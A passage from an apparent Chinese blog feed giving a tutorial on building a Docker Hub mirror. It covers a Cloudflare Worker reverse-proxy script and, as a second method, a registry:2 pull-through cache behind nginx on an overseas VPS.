function_">routeByHosts</span>(hostTop);</span><br><span class="line">hub_host = checkHost[<span class="number">0</span>]; <span class="comment">// 获取上游地址</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> fakePage = checkHost ? checkHost[<span class="number">1</span>] : <span class="literal">false</span>; <span class="comment">// 确保 fakePage 不为 undefined</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`域名头部: <span class="subst">$&#123;hostTop&#125;</span> 反代地址: <span class="subst">$&#123;hub_host&#125;</span> searchInterface: <span class="subst">$&#123;fakePage&#125;</span>`</span>);</span><br><span class="line"><span class="comment">// 更改请求的主机名</span></span><br><span class="line">url.<span class="property">hostname</span> = hub_host;</span><br><span class="line"><span class="keyword">const</span> hubParams = [<span class="string">&#x27;/v1/search&#x27;</span>, <span class="string">&#x27;/v1/repositories&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span> (屏蔽爬虫<span class="variable constant_">UA</span>.<span class="title function_">some</span>(<span class="function"><span class="params">fxxk</span> =&gt;</span> userAgent.<span class="title function_">includes</span>(fxxk)) &amp;&amp; 屏蔽爬虫<span class="variable constant_">UA</span>.<span class="property">length</span> &gt; <span class="number">0</span>) &#123;</span><br><span class="line"><span class="comment">// 首页改成一个nginx伪装页</span></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="keyword">await</span> <span class="title function_">nginx</span>(), &#123;</span><br><span class="line"><span class="attr">headers</span>: &#123;</span><br><span class="line"><span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;text/html; charset=UTF-8&#x27;</span>,</span><br><span class="line">&#125;,</span><br><span class="line">&#125;);</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> ((userAgent &amp;&amp; userAgent.<span class="title function_">includes</span>(<span class="string">&#x27;mozilla&#x27;</span>)) || hubParams.<span class="title function_">some</span>(<span class="function"><span class="params">param</span> =&gt;</span> url.<span class="property">pathname</span>.<span class="title function_">includes</span>(param))) &#123;</span><br><span class="line"><span class="keyword">if</span> (url.<span class="property">pathname</span> == <span class="string">&#x27;/&#x27;</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> (env.<span class="property">URL302</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="title class_">Response</span>.<span class="title function_">redirect</span>(env.<span class="property">URL302</span>, <span class="number">302</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">if</span> (env.<span class="property">URL</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> (env.<span class="property">URL</span>.<span class="title function_">toLowerCase</span>() == <span class="string">&#x27;nginx&#x27;</span>) &#123;</span><br><span class="line"><span class="comment">//首页改成一个nginx伪装页</span></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="keyword">await</span> <span class="title function_">nginx</span>(), &#123;</span><br><span class="line"><span class="attr">headers</span>: &#123;</span><br><span class="line"><span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;text/html; charset=UTF-8&#x27;</span>,</span><br><span class="line">&#125;,</span><br><span class="line">&#125;);</span><br><span class="line">&#125; <span class="keyword">else</span> <span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="keyword">new</span> <span class="title class_">Request</span>(env.<span class="property">URL</span>, request));</span><br><span class="line">&#125; <span class="keyword">else</span>&#123;</span><br><span class="line"><span class="keyword">if</span> (fakePage) <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="keyword">await</span> <span class="title function_">searchInterface</span>(), &#123;</span><br><span class="line"><span class="attr">headers</span>: &#123;</span><br><span class="line"><span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;text/html; charset=UTF-8&#x27;</span>,</span><br><span class="line">&#125;,</span><br><span class="line">&#125;);</span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="keyword">if</span> (fakePage) url.<span class="property">hostname</span> = <span class="string">&#x27;registry.hub.docker.com&#x27;</span>;</span><br><span class="line"><span class="keyword">if</span> (url.<span class="property">searchParams</span>.<span class="title function_">get</span>(<span class="string">&#x27;q&#x27;</span>)?.<span class="title function_">includes</span>(<span class="string">&#x27;library/&#x27;</span>) &amp;&amp; url.<span class="property">searchParams</span>.<span class="title function_">get</span>(<span class="string">&#x27;q&#x27;</span>) != <span class="string">&#x27;library/&#x27;</span>) &#123;</span><br><span class="line"><span class="keyword">const</span> search = url.<span class="property">searchParams</span>.<span class="title function_">get</span>(<span class="string">&#x27;q&#x27;</span>);</span><br><span class="line">url.<span class="property">searchParams</span>.<span class="title function_">set</span>(<span class="string">&#x27;q&#x27;</span>, search.<span class="title function_">replace</span>(<span class="string">&#x27;library/&#x27;</span>, <span class="string">&#x27;&#x27;</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">const</span> newRequest = <span class="keyword">new</span> <span class="title class_">Request</span>(url, request);</span><br><span class="line"><span class="keyword">return</span> <span class="title function_">fetch</span>(newRequest);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 修改包含 %2F 和 %3A 的请求</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="regexp">/%2F/</span>.<span class="title function_">test</span>(url.<span class="property">search</span>) &amp;&amp; <span class="regexp">/%3A/</span>.<span class="title function_">test</span>(url.<span class="title function_">toString</span>())) &#123;</span><br><span class="line"><span class="keyword">let</span> modifiedUrl = url.<span class="title function_">toString</span>().<span class="title function_">replace</span>(<span class="regexp">/%3A(?=.*?&amp;)/</span>, <span class="string">&#x27;%3Alibrary%2F&#x27;</span>);</span><br><span class="line">url = <span class="keyword">new</span> <span class="title function_">URL</span>(modifiedUrl);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`handle_url: <span class="subst">$&#123;url&#125;</span>`</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理token请求</span></span><br><span class="line"><span class="keyword">if</span> (url.<span class="property">pathname</span>.<span class="title function_">includes</span>(<span class="string">&#x27;/token&#x27;</span>)) &#123;</span><br><span class="line"><span class="keyword">let</span> token_parameter = &#123;</span><br><span class="line"><span class="attr">headers</span>: &#123;</span><br><span class="line"><span class="string">&#x27;Host&#x27;</span>: <span class="string">&#x27;auth.docker.io&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;User-Agent&#x27;</span>: <span class="title function_">getReqHeader</span>(<span class="string">&quot;User-Agent&quot;</span>),</span><br><span class="line"><span class="string">&#x27;Accept&#x27;</span>: <span class="title function_">getReqHeader</span>(<span class="string">&quot;Accept&quot;</span>),</span><br><span class="line"><span class="string">&#x27;Accept-Language&#x27;</span>: <span class="title function_">getReqHeader</span>(<span class="string">&quot;Accept-Language&quot;</span>),</span><br><span class="line"><span class="string">&#x27;Accept-Encoding&#x27;</span>: <span class="title function_">getReqHeader</span>(<span class="string">&quot;Accept-Encoding&quot;</span>),</span><br><span class="line"><span class="string">&#x27;Connection&#x27;</span>: <span class="string">&#x27;keep-alive&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;Cache-Control&#x27;</span>: <span class="string">&#x27;max-age=0&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">let</span> token_url = auth_url + url.<span class="property">pathname</span> + url.<span class="property">search</span>;</span><br><span class="line"><span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="keyword">new</span> <span class="title class_">Request</span>(token_url, request), token_parameter);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 修改 /v2/ 请求路径</span></span><br><span class="line"><span class="keyword">if</span> (hub_host == <span class="string">&#x27;registry-1.docker.io&#x27;</span> &amp;&amp; <span class="regexp">/^\/v2\/[^/]+\/[^/]+\/[^/]+$/</span>.<span class="title function_">test</span>(url.<span class="property">pathname</span>) &amp;&amp; !<span class="regexp">/^\/v2\/library/</span>.<span class="title function_">test</span>(url.<span class="property">pathname</span>)) &#123;</span><br><span class="line"><span class="comment">//url.pathname = url.pathname.replace(/\/v2\//, &#x27;/v2/library/&#x27;);</span></span><br><span class="line">url.<span class="property">pathname</span> = <span class="string">&#x27;/v2/library/&#x27;</span> + url.<span class="property">pathname</span>.<span class="title function_">split</span>(<span class="string">&#x27;/v2/&#x27;</span>)[<span class="number">1</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`modified_url: <span class="subst">$&#123;url.pathname&#125;</span>`</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 构造请求参数</span></span><br><span class="line"><span class="keyword">let</span> parameter = &#123;</span><br><span class="line"><span class="attr">headers</span>: &#123;</span><br><span class="line"><span class="string">&#x27;Host&#x27;</span>: hub_host,</span><br><span class="line"><span class="string">&#x27;User-Agent&#x27;</span>: <span class="title function_">getReqHeader</span>(<span class="string">&quot;User-Agent&quot;</span>),</span><br><span class="line"><span class="string">&#x27;Accept&#x27;</span>: <span class="title function_">getReqHeader</span>(<span class="string">&quot;Accept&quot;</span>),</span><br><span class="line"><span class="string">&#x27;Accept-Language&#x27;</span>: <span class="title function_">getReqHeader</span>(<span class="string">&quot;Accept-Language&quot;</span>),</span><br><span class="line"><span class="string">&#x27;Accept-Encoding&#x27;</span>: <span class="title function_">getReqHeader</span>(<span class="string">&quot;Accept-Encoding&quot;</span>),</span><br><span class="line"><span class="string">&#x27;Connection&#x27;</span>: <span class="string">&#x27;keep-alive&#x27;</span>,</span><br><span class="line"><span class="string">&#x27;Cache-Control&#x27;</span>: <span class="string">&#x27;max-age=0&#x27;</span></span><br><span class="line">&#125;,</span><br><span class="line"><span class="attr">cacheTtl</span>: <span class="number">3600</span> <span class="comment">// 缓存时间</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加Authorization头</span></span><br><span class="line"><span class="keyword">if</span> (request.<span class="property">headers</span>.<span class="title function_">has</span>(<span class="string">&quot;Authorization&quot;</span>)) &#123;</span><br><span class="line">parameter.<span class="property">headers</span>.<span class="property">Authorization</span> = <span class="title function_">getReqHeader</span>(<span class="string">&quot;Authorization&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加可能存在字段X-Amz-Content-Sha256</span></span><br><span class="line"><span class="keyword">if</span> (request.<span class="property">headers</span>.<span class="title function_">has</span>(<span class="string">&quot;X-Amz-Content-Sha256&quot;</span>)) &#123;</span><br><span class="line">parameter.<span class="property">headers</span>[<span class="string">&#x27;X-Amz-Content-Sha256&#x27;</span>] = <span class="title function_">getReqHeader</span>(<span class="string">&quot;X-Amz-Content-Sha256&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 发起请求并处理响应</span></span><br><span class="line"><span class="keyword">let</span> original_response = <span class="keyword">await</span> <span class="title function_">fetch</span>(<span class="keyword">new</span> <span class="title class_">Request</span>(url, request), parameter);</span><br><span class="line"><span class="keyword">let</span> original_response_clone = original_response.<span class="title function_">clone</span>();</span><br><span class="line"><span class="keyword">let</span> original_text = original_response_clone.<span class="property">body</span>;</span><br><span class="line"><span class="keyword">let</span> response_headers = original_response.<span class="property">headers</span>;</span><br><span class="line"><span class="keyword">let</span> new_response_headers = <span class="keyword">new</span> <span class="title class_">Headers</span>(response_headers);</span><br><span class="line"><span class="keyword">let</span> status = original_response.<span class="property">status</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 修改 Www-Authenticate 头</span></span><br><span class="line"><span class="keyword">if</span> (new_response_headers.<span class="title function_">get</span>(<span class="string">&quot;Www-Authenticate&quot;</span>)) &#123;</span><br><span class="line"><span class="keyword">let</span> auth = new_response_headers.<span class="title function_">get</span>(<span class="string">&quot;Www-Authenticate&quot;</span>);</span><br><span class="line"><span class="keyword">let</span> re = <span class="keyword">new</span> <span class="title class_">RegExp</span>(auth_url, <span class="string">&#x27;g&#x27;</span>);</span><br><span class="line">new_response_headers.<span class="title function_">set</span>(<span class="string">&quot;Www-Authenticate&quot;</span>, response_headers.<span class="title function_">get</span>(<span class="string">&quot;Www-Authenticate&quot;</span>).<span class="title function_">replace</span>(re, workers_url));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理重定向</span></span><br><span class="line"><span class="keyword">if</span> (new_response_headers.<span class="title function_">get</span>(<span class="string">&quot;Location&quot;</span>)) &#123;</span><br><span class="line"><span class="keyword">const</span> location = new_response_headers.<span class="title function_">get</span>(<span class="string">&quot;Location&quot;</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">info</span>(<span class="string">`Found redirection location, redirecting to <span class="subst">$&#123;location&#125;</span>`</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="title function_">httpHandler</span>(request, location, hub_host);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 返回修改后的响应</span></span><br><span class="line"><span class="keyword">let</span> response = <span class="keyword">new</span> <span class="title class_">Response</span>(original_text, &#123;</span><br><span class="line">status,</span><br><span class="line"><span class="attr">headers</span>: new_response_headers</span><br><span class="line">&#125;);</span><br><span class="line"><span class="keyword">return</span> response;</span><br><span class="line">&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 处理HTTP请求</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">Request</span>&#125; req 请求对象</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">string</span>&#125; pathname 请求路径</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">string</span>&#125; baseHost 基地址</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">httpHandler</span>(<span class="params">req, pathname, baseHost</span>) &#123;</span><br><span class="line"><span class="keyword">const</span> reqHdrRaw = req.<span class="property">headers</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理预检请求</span></span><br><span class="line"><span class="keyword">if</span> (req.<span class="property">method</span> === <span class="string">&#x27;OPTIONS&#x27;</span> &amp;&amp;</span><br><span class="line">reqHdrRaw.<span class="title function_">has</span>(<span class="string">&#x27;access-control-request-headers&#x27;</span>)</span><br><span class="line">) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(<span class="literal">null</span>, <span class="variable constant_">PREFLIGHT_INIT</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> rawLen = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> reqHdrNew = <span class="keyword">new</span> <span class="title class_">Headers</span>(reqHdrRaw);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> refer = reqHdrNew.<span class="title function_">get</span>(<span class="string">&#x27;referer&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> urlStr = pathname;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> urlObj = <span class="title function_">newUrl</span>(urlStr, <span class="string">&#x27;https://&#x27;</span> + baseHost);</span><br><span class="line"></span><br><span class="line"><span class="comment">/** <span class="doctag">@type</span> &#123;<span class="type">RequestInit</span>&#125; */</span></span><br><span class="line"><span class="keyword">const</span> reqInit = &#123;</span><br><span class="line"><span class="attr">method</span>: req.<span class="property">method</span>,</span><br><span class="line"><span class="attr">headers</span>: reqHdrNew,</span><br><span class="line"><span class="attr">redirect</span>: <span class="string">&#x27;follow&#x27;</span>,</span><br><span class="line"><span class="attr">body</span>: req.<span class="property">body</span></span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">return</span> <span class="title function_">proxy</span>(urlObj, reqInit, rawLen);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 代理请求</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">URL</span>&#125; urlObj URL对象</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">RequestInit</span>&#125; reqInit 请求初始化对象</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> &#123;<span class="type">string</span>&#125; rawLen 原始长度</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">proxy</span>(<span class="params">urlObj, reqInit, rawLen</span>) &#123;</span><br><span class="line"><span class="keyword">const</span> res = <span class="keyword">await</span> <span class="title function_">fetch</span>(urlObj.<span class="property">href</span>, reqInit);</span><br><span class="line"><span class="keyword">const</span> resHdrOld = res.<span class="property">headers</span>;</span><br><span class="line"><span class="keyword">const</span> resHdrNew = <span class="keyword">new</span> <span class="title class_">Headers</span>(resHdrOld);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 验证长度</span></span><br><span class="line"><span class="keyword">if</span> (rawLen) &#123;</span><br><span class="line"><span class="keyword">const</span> newLen = resHdrOld.<span class="title function_">get</span>(<span class="string">&#x27;content-length&#x27;</span>) || <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="keyword">const</span> badLen = (rawLen !== newLen);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (badLen) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="title function_">makeRes</span>(res.<span class="property">body</span>, <span class="number">400</span>, &#123;</span><br><span class="line"><span class="string">&#x27;--error&#x27;</span>: <span class="string">`bad len: <span class="subst">$&#123;newLen&#125;</span>, except: <span class="subst">$&#123;rawLen&#125;</span>`</span>,</span><br><span class="line"><span class="string">&#x27;access-control-expose-headers&#x27;</span>: <span class="string">&#x27;--error&#x27;</span>,</span><br><span class="line">&#125;);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">const</span> status = res.<span class="property">status</span>;</span><br><span class="line">resHdrNew.<span class="title function_">set</span>(<span class="string">&#x27;access-control-expose-headers&#x27;</span>, <span class="string">&#x27;*&#x27;</span>);</span><br><span class="line">resHdrNew.<span class="title function_">set</span>(<span class="string">&#x27;access-control-allow-origin&#x27;</span>, <span class="string">&#x27;*&#x27;</span>);</span><br><span class="line">resHdrNew.<span class="title function_">set</span>(<span class="string">&#x27;Cache-Control&#x27;</span>, <span class="string">&#x27;max-age=1500&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 删除不必要的头</span></span><br><span class="line">resHdrNew.<span class="title function_">delete</span>(<span class="string">&#x27;content-security-policy&#x27;</span>);</span><br><span class="line">resHdrNew.<span class="title function_">delete</span>(<span class="string">&#x27;content-security-policy-report-only&#x27;</span>);</span><br><span class="line">resHdrNew.<span class="title function_">delete</span>(<span class="string">&#x27;clear-site-data&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Response</span>(res.<span class="property">body</span>, &#123;</span><br><span class="line">status,</span><br><span class="line"><span class="attr">headers</span>: resHdrNew</span><br><span class="line">&#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">ADD</span>(<span class="params">envadd</span>) &#123;</span><br><span class="line"><span class="keyword">var</span> addtext = envadd.<span class="title function_">replace</span>(<span class="regexp">/[ |&quot;&#x27;\r\n]+/g</span>, <span class="string">&#x27;,&#x27;</span>).<span class="title function_">replace</span>(<span class="regexp">/,+/g</span>, <span class="string">&#x27;,&#x27;</span>);<span class="comment">// 将空格、双引号、单引号和换行符替换为逗号</span></span><br><span class="line"><span class="keyword">if</span> (addtext.<span class="title function_">charAt</span>(<span class="number">0</span>) == <span class="string">&#x27;,&#x27;</span>) addtext = addtext.<span class="title function_">slice</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">if</span> (addtext.<span class="title function_">charAt</span>(addtext.<span class="property">length</span> - <span class="number">1</span>) == <span class="string">&#x27;,&#x27;</span>) addtext = addtext.<span class="title function_">slice</span>(<span class="number">0</span>, addtext.<span class="property">length</span> - <span class="number">1</span>);</span><br><span class="line"><span class="keyword">const</span> add = addtext.<span class="title function_">split</span>(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line"><span class="keyword">return</span> add;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol start="4"><li>点击部署<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/05/aa04ab04f1a70ebedd349ba1e3a8853b.png" alt="点击部署"></li></ol><h2 id="配置自定义的域名">配置自定义的域名</h2><ol><li><p>点击左上角的箭头返回。</p></li><li><p>点击设置。</p></li><li><p>域和路由-&gt;点击添加<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/05/48dfbe8b7a344f6a74237175acaf7348.png" alt="添加自定义的域名"></p></li><li><p>添加自定义的域<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/05/e4975ebc94462b220a098084580fbf02.png" alt="添加自定义的域"></p></li><li><p>测试<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/05/e9d769d769dd90d83a604b65d6701e11.png" alt="首页展示"><br><img src="https://nas.allbs.cn:8888/cloudpic/2025/05/5392615f61690774d304d79407f34e3a.png" alt="拉取镜像测试"><br>上述两项测试通过，说明可以正常使用。</p></li></ol><h1>方式二：有海外VPS</h1><h2 id="首先登录你们的海外vps">首先登录你们的海外vps</h2><h3 id="在目录-etc-docker-registry目录下创建config-yml">在目录*/etc/docker/registry<em>目录下创建</em>config.yml*</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cd /etc/docker</span><br><span class="line">mkdir registry</span><br><span class="line">nano config.yml</span><br></pre></td></tr></table></figure><p>输入以下内容：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">proxy:</span></span><br><span class="line">  <span class="attr">remoteurl:</span> <span class="string">https://registry-1.docker.io</span></span><br></pre></td></tr></table></figure><h3 id="使用docker跑镜像">使用docker跑镜像</h3><ol><li><p>在一个你喜欢的目录配置镜像相关的文件映射。<br>比如我喜欢在/mnt目录中进行操作，那么会创建一个文件夹用于映射镜像相关配置和一个docker-compose.yml<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/05/3c110d53a2e65a2061d135281c722a0c.png" alt="文件及文件夹"></p></li><li><p>registry中也配置一个<em>config.yml</em>，内容完善一点，比如如下：<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/05/96aa3dea66620f82b481f41c7b52afa3.png" alt="config.yml"></p></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">version: 0.1</span><br><span class="line">storage:</span><br><span class="line">  cache:</span><br><span class="line">    blobdescriptor: inmemory   # 内存缓存 blob 描述符</span><br><span class="line">  filesystem:</span><br><span class="line">    rootdirectory: /mnt/registry  # 本地存储目录</span><br><span class="line">http:</span><br><span class="line">  addr: :5000</span><br><span class="line">proxy:</span><br><span class="line">  remoteurl: https://registry-1.docker.io  # Docker Hub 上游</span><br><span class="line">delete:</span><br><span class="line">  enabled: true  # 定期清理过期数据</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="配置docker-compose-yml">配置docker-compose.yml</h3><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">services:</span></span><br><span class="line">  <span class="attr">registry:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">registry:2</span>            <span class="comment"># 官方 Registry 镜像</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">always</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;127.0.0.1:5000:5000&quot;</span>    <span class="comment"># 仅绑定本机，Nginx 反向代理访问</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">/mnt/registry/data:/var/lib/registry</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">/mnt/registry/config.yml:/etc/docker/registry/config.yml:ro</span></span><br><span class="line"></span><br><span class="line">  </span><br><span class="line"><span class="attr">networks:</span></span><br><span class="line">  <span class="attr">default:</span></span><br></pre></td></tr></table></figure><h3 id="启动镜像">启动镜像</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><h3 id="配置nginx的server块">配置nginx的server块</h3><p>上面我示例的是<strong>dockerhub.playdemo.app</strong>，那么下面使用<strong>hub.playdemo.app</strong>示例</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">listen 80;</span><br><span class="line">server_name  hub.playdemo.app;</span><br><span class="line">index index.html index.htm;</span><br><span class="line">        gzip on;</span><br><span class="line">        gzip_buffers 32 4K;</span><br><span class="line">        gzip_comp_level 6;</span><br><span class="line">        gzip_min_length 4000;</span><br><span class="line">        gzip_types text/css text/xml application/x-javascript application/json text/javascript application/javascript;</span><br><span class="line">        keepalive_timeout 30;</span><br><span class="line">        ssl_session_timeout 5m;</span><br><span class="line">        ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384;</span><br><span class="line"></span><br><span class="line">client_max_body_size 0;             # 取消大小限制:contentReference[oaicite:8]&#123;index=8&#125;</span><br><span class="line">chunked_transfer_encoding on;       # 支持分块传输:contentReference[oaicite:9]&#123;index=9&#125;</span><br><span class="line"></span><br><span class="line">location / &#123;</span><br><span class="line">proxy_pass http://127.0.0.1:5000;</span><br><span class="line">proxy_set_header Host $http_host;       # Docker 客户端要求的 Host 头:contentReference[oaicite:10]&#123;index=10&#125;</span><br><span class="line">proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">proxy_set_header X-Forwarded-Proto $scheme;</span><br><span class="line">proxy_read_timeout 900;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="重启nginx">重启nginx</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nginx -s reload</span><br></pre></td></tr></table></figure><h3 id="最后配置域名解析">最后配置域名解析</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/05/4baeb9286a9b6515c19c7e8d51d15e37.png" alt="最后配置域名解析"></p><h3 id="进行测试">进行测试</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/05/467edca9afce3b31f72b151c926ef06c.png" alt="测试通过"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1&gt;方式一：无海外VPS&lt;/h1&gt;
&lt;h2 id=&quot;借助cloudflare的-Workers-和-Pages-创建workers&quot;&gt;借助cloudflare的**&lt;a href=&quot;https://dash.cloudflare.com/549581670ccf342b3ad</summary>
      
    
    
    
    <category term="docker" scheme="https://blog.allbs.cn/categories/docker/"/>
    
    
    <category term="docker,docker镜像,docker镜像仓库" scheme="https://blog.allbs.cn/tags/docker-docker%E9%95%9C%E5%83%8F-docker%E9%95%9C%E5%83%8F%E4%BB%93%E5%BA%93/"/>
    
  </entry>
  
  <entry>
    <title>叔叔 别拉了 我害怕</title>
    <link href="https://blog.allbs.cn/posts/f625ca66/"/>
    <id>https://blog.allbs.cn/posts/f625ca66/</id>
    <published>2025-04-25T08:41:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
